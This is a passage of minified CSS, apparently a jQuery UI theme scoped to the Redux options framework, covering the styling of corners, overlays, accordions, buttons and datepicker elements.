.ui-corner-tl{-moz-border-radius-topleft:4px;-webkit-border-top-left-radius:4px;-khtml-border-top-left-radius:4px;border-top-left-radius:4px}.redux-container .ui-corner-all,.redux-container .ui-corner-top,.redux-container .ui-corner-right,.redux-container .ui-corner-tr,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-top,.control-section-redux .ui-corner-right,.control-section-redux .ui-corner-tr,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-top,.control-panel-redux .ui-corner-right,.control-panel-redux .ui-corner-tr,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-top,.redux-metabox .ui-corner-right,.redux-metabox .ui-corner-tr{-moz-border-radius-topright:4px;-webkit-border-top-right-radius:4px;-khtml-border-top-right-radius:4px;border-top-right-radius:4px}.redux-container .ui-corner-all,.redux-container .ui-corner-bottom,.redux-container .ui-corner-left,.redux-container .ui-corner-bl,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-bottom,.control-section-redux .ui-corner-left,.control-section-redux .ui-corner-bl,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-bottom,.control-panel-redux .ui-corner-left,.control-panel-redux .ui-corner-bl,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-bottom,.redux-metabox .ui-corner-left,.redux-metabox .ui-corner-bl{-moz-border-radius-bottomleft:4px;-webkit-border-bottom-left-radius:4px;-khtml-border-bottom-left-radius:4px;border-bottom-left-radius:4px}.redux-container .ui-corner-all,.redux-container .ui-corner-bottom,.redux-container .ui-corner-right,.redux-container .ui-corner-br,.control-section-redux .ui-corner-all,.control-section-redux .ui-corner-bottom,.control-section-redux .ui-corner-right,.control-section-redux .ui-corner-br,.control-panel-redux .ui-corner-all,.control-panel-redux .ui-corner-bottom,.control-panel-redux .ui-corner-right,.control-panel-redux .ui-corner-br,.redux-metabox .ui-corner-all,.redux-metabox .ui-corner-bottom,.redux-metabox .ui-corner-right,.redux-metabox .ui-corner-br{-moz-border-radius-bottomright:4px;-webkit-border-bottom-right-radius:4px;-khtml-border-bottom-right-radius:4px;border-bottom-right-radius:4px}.redux-container .ui-widget-overlay,.control-section-redux .ui-widget-overlay,.control-panel-redux .ui-widget-overlay,.redux-metabox .ui-widget-overlay{background:#aaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x;opacity:.30;filter:Alpha(Opacity=30)}.redux-container .ui-widget-shadow,.control-section-redux .ui-widget-shadow,.control-panel-redux .ui-widget-shadow,.redux-metabox .ui-widget-shadow{margin:-8px 0 0 -8px;padding:8px;background:#aaa url(images/ui-bg_flat_0_aaaaaa_40x100.png) 50% 50% repeat-x;opacity:.30;filter:Alpha(Opacity=30);-moz-border-radius:8px;-khtml-border-radius:8px;-webkit-border-radius:8px;border-radius:8px}.redux-container .ui-accordion,.control-section-redux .ui-accordion,.control-panel-redux .ui-accordion,.redux-metabox .ui-accordion{width:100%}.redux-container .ui-accordion .ui-accordion-header,.control-section-redux .ui-accordion .ui-accordion-header,.control-panel-redux .ui-accordion .ui-accordion-header,.redux-metabox .ui-accordion .ui-accordion-header{cursor:pointer;position:relative;margin-top:1px;zoom:1;font-weight:bold}.redux-container .ui-accordion .ui-accordion-li-fix,.control-section-redux .ui-accordion .ui-accordion-li-fix,.control-panel-redux .ui-accordion .ui-accordion-li-fix,.redux-metabox .ui-accordion .ui-accordion-li-fix{display:inline}.redux-container .ui-accordion .ui-accordion-header-active,.control-section-redux .ui-accordion .ui-accordion-header-active,.control-panel-redux .ui-accordion .ui-accordion-header-active,.redux-metabox .ui-accordion .ui-accordion-header-active{border-bottom:0 !important}.redux-container .ui-accordion .ui-accordion-header a,.control-section-redux .ui-accordion .ui-accordion-header a,.control-panel-redux .ui-accordion .ui-accordion-header a,.redux-metabox .ui-accordion .ui-accordion-header a{display:block;font-size:1em;padding:.5em .5em .5em 1.7em}.redux-container .ui-accordion-icons .ui-accordion-header a,.control-section-redux .ui-accordion-icons .ui-accordion-header a,.control-panel-redux .ui-accordion-icons .ui-accordion-header a,.redux-metabox .ui-accordion-icons .ui-accordion-header a{padding-left:2.2em}.redux-container .ui-accordion .ui-accordion-header .ui-icon,.control-section-redux .ui-accordion .ui-accordion-header .ui-icon,.control-panel-redux .ui-accordion .ui-accordion-header .ui-icon,.redux-metabox .ui-accordion .ui-accordion-header .ui-icon{position:absolute;left:.5em;top:50%;margin-top:-8px}.redux-container .ui-accordion .ui-accordion-content,.control-section-redux .ui-accordion .ui-accordion-content,.control-panel-redux .ui-accordion .ui-accordion-content,.redux-metabox .ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;margin-top:-2px;position:relative;top:1px;margin-bottom:2px;overflow:auto;display:none;zoom:1}.redux-container .ui-accordion .ui-accordion-content-active,.control-section-redux .ui-accordion .ui-accordion-content-active,.control-panel-redux .ui-accordion .ui-accordion-content-active,.redux-metabox .ui-accordion .ui-accordion-content-active{display:block}.redux-container .ui-button,.control-section-redux .ui-button,.control-panel-redux .ui-button,.redux-metabox .ui-button{cursor:pointer;display:inline-block;background-color:#e6e6e6;background-repeat:no-repeat;background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#fff), color-stop(25%, #fff), to(#e6e6e6));background-image:-webkit-linear-gradient(#fff, #fff 25%, #e6e6e6);background-image:-moz-linear-gradient(top, #fff, #fff 25%, #e6e6e6);background-image:-ms-linear-gradient(#fff, #fff 25%, #e6e6e6);background-image:-o-linear-gradient(#fff, #fff 25%, #e6e6e6);background-image:linear-gradient(#fff, #fff 25%, #e6e6e6);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffff', endColorstr='#e6e6e6', GradientType=0);padding:5px 14px 6px;margin:0;text-shadow:0 1px 1px rgba(255,255,255,0.75);color:#333;font-size:13px;line-height:normal;border:1px solid #ccc;border-bottom-color:#bbb;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);box-shadow:inset 0 1px 0 rgba(255,255,255,0.2),0 1px 2px rgba(0,0,0,0.05);-webkit-transition:0.1s linear background-image;-moz-transition:0.1s linear background-image;-ms-transition:0.1s linear background-image;-o-transition:0.1s linear background-image;transition:0.1s linear background-image;overflow:visible}.redux-container .ui-button-primary,.control-section-redux .ui-button-primary,.control-panel-redux .ui-button-primary,.redux-metabox .ui-button-primary{color:#ffffff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-button-success,.control-section-redux .ui-button-success,.control-panel-redux .ui-button-success,.redux-metabox .ui-button-success{color:#ffffff;background-color:#57a957;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#62c462), to(#57a957));background-image:-moz-linear-gradient(top, #62c462, #57a957);background-image:-ms-linear-gradient(top, #62c462, #57a957);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #62c462), color-stop(100%, #57a957));background-image:-webkit-linear-gradient(top, #62c462, #57a957);background-image:-o-linear-gradient(top, #62c462, #57a957);background-image:linear-gradient(top, #62c462, #57a957);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#62c462', endColorstr='#57a957', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#57a957 #57a957 #3d773d;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-button-error,.control-section-redux .ui-button-error,.control-panel-redux .ui-button-error,.redux-metabox .ui-button-error{color:#ffffff;background-color:#c43c35;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#ee5f5b), to(#c43c35));background-image:-moz-linear-gradient(top, #ee5f5b, #c43c35);background-image:-ms-linear-gradient(top, #ee5f5b, #c43c35);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #ee5f5b), color-stop(100%, #c43c35));background-image:-webkit-linear-gradient(top, #ee5f5b, #c43c35);background-image:-o-linear-gradient(top, #ee5f5b, #c43c35);background-image:linear-gradient(top, #ee5f5b, #c43c35);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ee5f5b', endColorstr='#c43c35', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#c43c35 #c43c35 #882a25;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-button-icon-only,.control-section-redux .ui-button-icon-only,.control-panel-redux .ui-button-icon-only,.redux-metabox .ui-button-icon-only{width:2.2em}.redux-container .ui-button-icons-only,.control-section-redux .ui-button-icons-only,.control-panel-redux .ui-button-icons-only,.redux-metabox .ui-button-icons-only{width:3.4em}.redux-container button.ui-button-icons-only,.control-section-redux button.ui-button-icons-only,.control-panel-redux button.ui-button-icons-only,.redux-metabox button.ui-button-icons-only{width:3.7em}.redux-container .ui-button .ui-button-text,.control-section-redux .ui-button .ui-button-text,.control-panel-redux .ui-button .ui-button-text,.redux-metabox .ui-button .ui-button-text{display:block}.redux-container .ui-button-icon-only .ui-button-text,.redux-container .ui-button-icons-only .ui-button-text,.control-section-redux .ui-button-icon-only .ui-button-text,.control-section-redux .ui-button-icons-only .ui-button-text,.control-panel-redux .ui-button-icon-only .ui-button-text,.control-panel-redux .ui-button-icons-only .ui-button-text,.redux-metabox .ui-button-icon-only .ui-button-text,.redux-metabox .ui-button-icons-only .ui-button-text{padding:.4em;text-indent:-9999999px;display:none}.redux-container .ui-button-text-icon-primary .ui-button-text,.redux-container .ui-button-text-icons .ui-button-text,.control-section-redux .ui-button-text-icon-primary .ui-button-text,.control-section-redux .ui-button-text-icons .ui-button-text,.control-panel-redux .ui-button-text-icon-primary .ui-button-text,.control-panel-redux .ui-button-text-icons .ui-button-text,.redux-metabox .ui-button-text-icon-primary .ui-button-text,.redux-metabox .ui-button-text-icons .ui-button-text{padding:.4em 1em .4em 2.1em}.redux-container .ui-button-text-icon-secondary .ui-button-text,.redux-container .ui-button-text-icons .ui-button-text,.control-section-redux .ui-button-text-icon-secondary .ui-button-text,.control-section-redux .ui-button-text-icons .ui-button-text,.control-panel-redux .ui-button-text-icon-secondary .ui-button-text,.control-panel-redux .ui-button-text-icons .ui-button-text,.redux-metabox .ui-button-text-icon-secondary .ui-button-text,.redux-metabox .ui-button-text-icons .ui-button-text{padding:.4em 2.1em .4em 1em}.redux-container .ui-button-text-icons .ui-button-text,.control-section-redux .ui-button-text-icons .ui-button-text,.control-panel-redux .ui-button-text-icons .ui-button-text,.redux-metabox .ui-button-text-icons .ui-button-text{padding-left:2.1em;padding-right:2.1em}.redux-container .ui-button-icon-only .ui-icon,.redux-container .ui-button-text-icon-primary .ui-icon,.redux-container .ui-button-text-icon-secondary .ui-icon,.redux-container .ui-button-text-icons .ui-icon,.redux-container .ui-button-icons-only .ui-icon,.control-section-redux .ui-button-icon-only .ui-icon,.control-section-redux .ui-button-text-icon-primary .ui-icon,.control-section-redux .ui-button-text-icon-secondary .ui-icon,.control-section-redux .ui-button-text-icons .ui-icon,.control-section-redux .ui-button-icons-only .ui-icon,.control-panel-redux .ui-button-icon-only .ui-icon,.control-panel-redux .ui-button-text-icon-primary .ui-icon,.control-panel-redux .ui-button-text-icon-secondary .ui-icon,.control-panel-redux .ui-button-text-icons .ui-icon,.control-panel-redux .ui-button-icons-only .ui-icon,.redux-metabox .ui-button-icon-only .ui-icon,.redux-metabox .ui-button-text-icon-primary .ui-icon,.redux-metabox .ui-button-text-icon-secondary .ui-icon,.redux-metabox .ui-button-text-icons .ui-icon,.redux-metabox .ui-button-icons-only .ui-icon{top:50%;margin-top:-3px;margin-bottom:3px}.redux-container .ui-button-icon-only .ui-icon,.control-section-redux .ui-button-icon-only .ui-icon,.control-panel-redux .ui-button-icon-only .ui-icon,.redux-metabox .ui-button-icon-only .ui-icon{left:50%;margin-left:-8px}.redux-container .ui-button-text-icon-primary .ui-button-icon-primary,.redux-container .ui-button-text-icons .ui-button-icon-primary,.redux-container .ui-button-icons-only .ui-button-icon-primary,.control-section-redux .ui-button-text-icon-primary .ui-button-icon-primary,.control-section-redux .ui-button-text-icons .ui-button-icon-primary,.control-section-redux .ui-button-icons-only .ui-button-icon-primary,.control-panel-redux .ui-button-text-icon-primary .ui-button-icon-primary,.control-panel-redux .ui-button-text-icons .ui-button-icon-primary,.control-panel-redux .ui-button-icons-only .ui-button-icon-primary,.redux-metabox .ui-button-text-icon-primary .ui-button-icon-primary,.redux-metabox .ui-button-text-icons .ui-button-icon-primary,.redux-metabox .ui-button-icons-only .ui-button-icon-primary{left:.5em}.redux-container .ui-button-text-icon-secondary .ui-button-icon-secondary,.redux-container .ui-button-text-icons .ui-button-icon-secondary,.redux-container .ui-button-icons-only .ui-button-icon-secondary,.control-section-redux .ui-button-text-icon-secondary .ui-button-icon-secondary,.control-section-redux .ui-button-text-icons .ui-button-icon-secondary,.control-section-redux .ui-button-icons-only .ui-button-icon-secondary,.control-panel-redux .ui-button-text-icon-secondary .ui-button-icon-secondary,.control-panel-redux .ui-button-text-icons .ui-button-icon-secondary,.control-panel-redux .ui-button-icons-only .ui-button-icon-secondary,.redux-metabox .ui-button-text-icon-secondary .ui-button-icon-secondary,.redux-metabox .ui-button-text-icons .ui-button-icon-secondary,.redux-metabox .ui-button-icons-only .ui-button-icon-secondary{right:.5em}.redux-container .ui-button-text-icons .ui-button-icon-secondary,.redux-container .ui-button-icons-only .ui-button-icon-secondary,.control-section-redux .ui-button-text-icons .ui-button-icon-secondary,.control-section-redux .ui-button-icons-only .ui-button-icon-secondary,.control-panel-redux .ui-button-text-icons .ui-button-icon-secondary,.control-panel-redux .ui-button-icons-only .ui-button-icon-secondary,.redux-metabox .ui-button-text-icons .ui-button-icon-secondary,.redux-metabox .ui-button-icons-only .ui-button-icon-secondary{right:.5em}.redux-container .ui-buttonset,.control-section-redux .ui-buttonset,.control-panel-redux .ui-buttonset,.redux-metabox .ui-buttonset{margin-right:7px}.redux-container .ui-buttonset .ui-state-active,.control-section-redux .ui-buttonset .ui-state-active,.control-panel-redux .ui-buttonset .ui-state-active,.redux-metabox .ui-buttonset .ui-state-active{color:#ffffff;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) rgba(0,0,0,0.25)}.redux-container .ui-buttonset .ui-button,.control-section-redux .ui-buttonset .ui-button,.control-panel-redux .ui-buttonset .ui-button,.redux-metabox .ui-buttonset .ui-button{margin-left:0;margin-right:0}.redux-container button.ui-button::-moz-focus-inner,.control-section-redux button.ui-button::-moz-focus-inner,.control-panel-redux button.ui-button::-moz-focus-inner,.redux-metabox button.ui-button::-moz-focus-inner{border:0;padding:0}.redux-container .ui-datepicker,.control-section-redux .ui-datepicker,.control-panel-redux .ui-datepicker,.redux-metabox .ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.redux-container .ui-datepicker .ui-datepicker-header,.control-section-redux .ui-datepicker .ui-datepicker-header,.control-panel-redux .ui-datepicker .ui-datepicker-header,.redux-metabox .ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0;border:0px;font-weight:bold;width:100%;padding:4px 0;background-color:#f5f5f5;color:#808080}.redux-container .ui-datepicker .ui-datepicker-prev,.redux-container .ui-datepicker .ui-datepicker-next,.control-section-redux .ui-datepicker .ui-datepicker-prev,.control-section-redux .ui-datepicker .ui-datepicker-next,.control-panel-redux .ui-datepicker .ui-datepicker-prev,.control-panel-redux .ui-datepicker .ui-datepicker-next,.redux-metabox .ui-datepicker .ui-datepicker-prev,.redux-metabox .ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.redux-container .ui-datepicker .ui-datepicker-prev,.control-section-redux .ui-datepicker .ui-datepicker-prev,.control-panel-redux .ui-datepicker .ui-datepicker-prev,.redux-metabox .ui-datepicker .ui-datepicker-prev{left:2px}.redux-container .ui-datepicker .ui-datepicker-next,.control-section-redux .ui-datepicker .ui-datepicker-next,.control-panel-redux .ui-datepicker .ui-datepicker-next,.redux-metabox .ui-datepicker .ui-datepicker-next{right:2px}.redux-container .ui-datepicker .ui-datepicker-prev span,.redux-container .ui-datepicker .ui-datepicker-next span,.control-section-redux .ui-datepicker .ui-datepicker-prev span,.control-section-redux .ui-datepicker .ui-datepicker-next span,.control-panel-redux .ui-datepicker .ui-datepicker-prev span,.control-panel-redux .ui-datepicker .ui-datepicker-next span,.redux-metabox .ui-datepicker .ui-datepicker-prev span,.redux-metabox .ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.redux-container .ui-datepicker .ui-datepicker-title,.control-section-redux .ui-datepicker .ui-datepicker-title,.control-panel-redux .ui-datepicker .ui-datepicker-title,.redux-metabox .ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.redux-container .ui-datepicker .ui-datepicker-title select,.control-section-redux .ui-datepicker .ui-datepicker-title select,.control-panel-redux .ui-datepicker .ui-datepicker-title select,.redux-metabox .ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.redux-container .ui-datepicker select.ui-datepicker-month-year,.control-section-redux .ui-datepicker select.ui-datepicker-month-year,.control-panel-redux .ui-datepicker select.ui-datepicker-month-year,.redux-metabox .ui-datepicker select.ui-datepicker-month-year{width:100%}.redux-container .ui-datepicker select.ui-datepicker-month,.redux-container .ui-datepicker select.ui-datepicker-year,.control-section-redux .ui-datepicker select.ui-datepicker-month,.control-section-redux .ui-datepicker select.ui-datepicker-year,.control-panel-redux .ui-datepicker select.ui-datepicker-month,.control-panel-redux .ui-datepicker select.ui-datepicker-year,.redux-metabox .ui-datepicker select.ui-datepicker-month,.redux-metabox .ui-datepicker select.ui-datepicker-year{width:49%}.redux-container .ui-datepicker table,.control-section-redux .ui-datepicker table,.control-panel-redux .ui-datepicker table,.redux-metabox .ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.redux-container .ui-datepicker th,.control-section-redux .ui-datepicker th,.control-panel-redux .ui-datepicker th,.redux-metabox .ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.redux-container .ui-datepicker td,.control-section-redux .ui-datepicker td,.control-panel-redux .ui-datepicker td,.redux-metabox .ui-datepicker td{border:0;padding:1px}.redux-container .ui-datepicker td span,.redux-container .ui-datepicker td a,.control-section-redux .ui-datepicker td span,.control-section-redux .ui-datepicker td a,.control-panel-redux .ui-datepicker td span,.control-panel-redux .ui-datepicker td a,.redux-metabox .ui-datepicker td span,.redux-metabox .ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.redux-container .ui-datepicker .ui-datepicker-buttonpane,.control-section-redux .ui-datepicker .ui-datepicker-buttonpane,.control-panel-redux .ui-datepicker .ui-datepicker-buttonpane,.redux-metabox .ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.redux-container .ui-datepicker .ui-datepicker-buttonpane button,.control-section-redux .ui-datepicker .ui-datepicker-buttonpane button,.control-panel-redux .ui-datepicker .ui-datepicker-buttonpane button,.redux-metabox .ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.redux-container .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current,.control-section-redux .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current,.control-panel-redux .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current,.redux-metabox .ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.redux-container .ui-datepicker.ui-datepicker-multi,.control-section-redux .ui-datepicker.ui-datepicker-multi,.control-panel-redux .ui-datepicker.ui-datepicker-multi,.redux-metabox .ui-datepicker.ui-datepicker-multi{width:auto}.redux-container .ui-datepicker-multi .ui-datepicker-group,.control-section-redux .ui-datepicker-multi .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group,.redux-metabox .ui-datepicker-multi .ui-datepicker-group{float:left}.redux-container .ui-datepicker-multi .ui-datepicker-group table,.control-section-redux .ui-datepicker-multi .ui-datepicker-group table,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group table,.redux-metabox .ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.redux-container .ui-datepicker-multi-2 .ui-datepicker-group,.control-section-redux .ui-datepicker-multi-2 .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi-2 .ui-datepicker-group,.redux-metabox .ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.redux-container .ui-datepicker-multi-3 .ui-datepicker-group,.control-section-redux .ui-datepicker-multi-3 .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi-3 .ui-datepicker-group,.redux-metabox .ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.redux-container .ui-datepicker-multi-4 .ui-datepicker-group,.control-section-redux .ui-datepicker-multi-4 .ui-datepicker-group,.control-panel-redux .ui-datepicker-multi-4 .ui-datepicker-group,.redux-metabox .ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.redux-container .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.control-section-redux .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.redux-metabox .ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header{border-left-width:0}.redux-container .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header,.control-section-redux .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header,.control-panel-redux .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header,.redux-metabox .ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.redux-container .ui-datepicker-multi .ui-datepicker-buttonpane,.control-section-redux .ui-datepicker-multi .ui-datepicker-buttonpane,.control-panel-redux .ui-datepicker-multi .ui-datepicker-buttonpane,.redux-metabox .ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.redux-container .ui-datepicker-row-break,.control-section-redux .ui-datepicker-row-break,.control-panel-redux .ui-datepicker-row-break,.redux-metabox .ui-datepicker-row-break{clear:both;width:100%;font-size:0em}.redux-container .ui-datepicker-rtl,.control-section-redux .ui-datepicker-rtl,.control-panel-redux .ui-datepicker-rtl,.redux-metabox .ui-datepicker-rtl{direction:rtl}.redux-container .ui-datepicker-rtl .ui-datepicker-prev,.control-section-redux .ui-datepicker-rtl .ui-datepicker-prev,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-prev,.redux-metabox .ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-next,.control-section-redux .ui-datepicker-rtl .ui-datepicker-next,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-next,.redux-metabox .ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-prev:hover,.control-section-redux .ui-datepicker-rtl .ui-datepicker-prev:hover,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-prev:hover,.redux-metabox .ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-next:hover,.control-section-redux .ui-datepicker-rtl .ui-datepicker-next:hover,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-next:hover,.redux-metabox .ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.redux-container .ui-datepicker-rtl .ui-datepicker-buttonpane,.control-section-redux .ui-datepicker-rtl .ui-datepicker-buttonpane,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-buttonpane,.redux-metabox .ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.redux-container .ui-datepicker-rtl .ui-datepicker-buttonpane button,.control-section-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button,.redux-metabox .ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.redux-container .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.control-section-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.redux-metabox .ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current{float:right}.redux-container .ui-datepicker-rtl .ui-datepicker-group,.control-section-redux .ui-datepicker-rtl .ui-datepicker-group,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-group,.redux-metabox .ui-datepicker-rtl .ui-datepicker-group{float:right}.redux-container .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.control-section-redux .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.redux-metabox .ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header{border-right-width:0;border-left-width:1px}.redux-container .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header,.control-section-redux .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header,.control-panel-redux .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header,.redux-metabox .ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.redux-container .ui-datepicker-cover,.control-section-redux .ui-datepicker-cover,.control-panel-redux .ui-datepicker-cover,.redux-metabox .ui-datepicker-cover{display:none;display:block;position:absolute;z-index:-1;filter:mask();top:-4px;left:-4px;width:200px;height:200px}.redux-container .ui-datepicker th,.control-section-redux .ui-datepicker th,.control-panel-redux .ui-datepicker th,.redux-metabox .ui-datepicker th{font-weight:bold;color:gray}.redux-container .ui-datepicker-today a:hover,.control-section-redux .ui-datepicker-today a:hover,.control-panel-redux .ui-datepicker-today a:hover,.redux-metabox .ui-datepicker-today a:hover{background-color:#808080;color:#ffffff}.redux-container .ui-datepicker-today a,.control-section-redux .ui-datepicker-today a,.control-panel-redux .ui-datepicker-today a,.redux-metabox .ui-datepicker-today a{background-color:#BFBFBF;cursor:pointer;padding:0 4px;margin-bottom:0px}.redux-container .ui-datepicker td a,.control-section-redux .ui-datepicker td a,.control-panel-redux .ui-datepicker td a,.redux-metabox .ui-datepicker td a{margin-bottom:0px;border:0px}.redux-container .ui-datepicker td:hover,.control-section-redux .ui-datepicker td:hover,.control-panel-redux .ui-datepicker td:hover,.redux-metabox .ui-datepicker td:hover{color:#ffffff}.redux-container .ui-datepicker td .ui-state-default,.control-section-redux .ui-datepicker td .ui-state-default,.control-panel-redux .ui-datepicker td .ui-state-default,.redux-metabox .ui-datepicker td .ui-state-default{border:0px;background:none;margin-bottom:0px;padding:5px;color:gray;text-align:center;filter:none}.redux-container .ui-datepicker td .ui-state-active,.control-section-redux .ui-datepicker td .ui-state-active,.control-panel-redux .ui-datepicker td .ui-state-active,.redux-metabox .ui-datepicker td .ui-state-active{background:#BFBFBF;margin-bottom:0px;font-size:normal;text-shadow:0px;color:#ffffff;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.redux-container .ui-datepicker td .ui-state-hover,.control-section-redux .ui-datepicker td .ui-state-hover,.control-panel-redux .ui-datepicker td .ui-state-hover,.redux-metabox .ui-datepicker td .ui-state-hover{color:#ffffff;background:#0064cd;background-color:#0064cd;background-repeat:repeat-x;background-image:-khtml-gradient(linear, left top, left bottom, from(#049cdb), to(#0064cd));background-image:-moz-linear-gradient(top, #049cdb, #0064cd);background-image:-ms-linear-gradient(top, #049cdb, #0064cd);background-image:-webkit-gradient(linear, left top, left bottom, color-stop(0%, #049cdb), color-stop(100%, #0064cd));background-image:-webkit-linear-gradient(top, #049cdb, #0064cd);background-image:-o-linear-gradient(top, #049cdb, #0064cd);background-image:linear-gradient(top, #049cdb, #0064cd);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#049cdb', endColorstr='#0064cd', GradientType=0);text-shadow:0 -1px 0 rgba(0,0,0,0.25);border-color:#0064cd #0064cd #003f81;border-color:rgba(0,0,0,0.1) rgba(0,0,0,0.1) 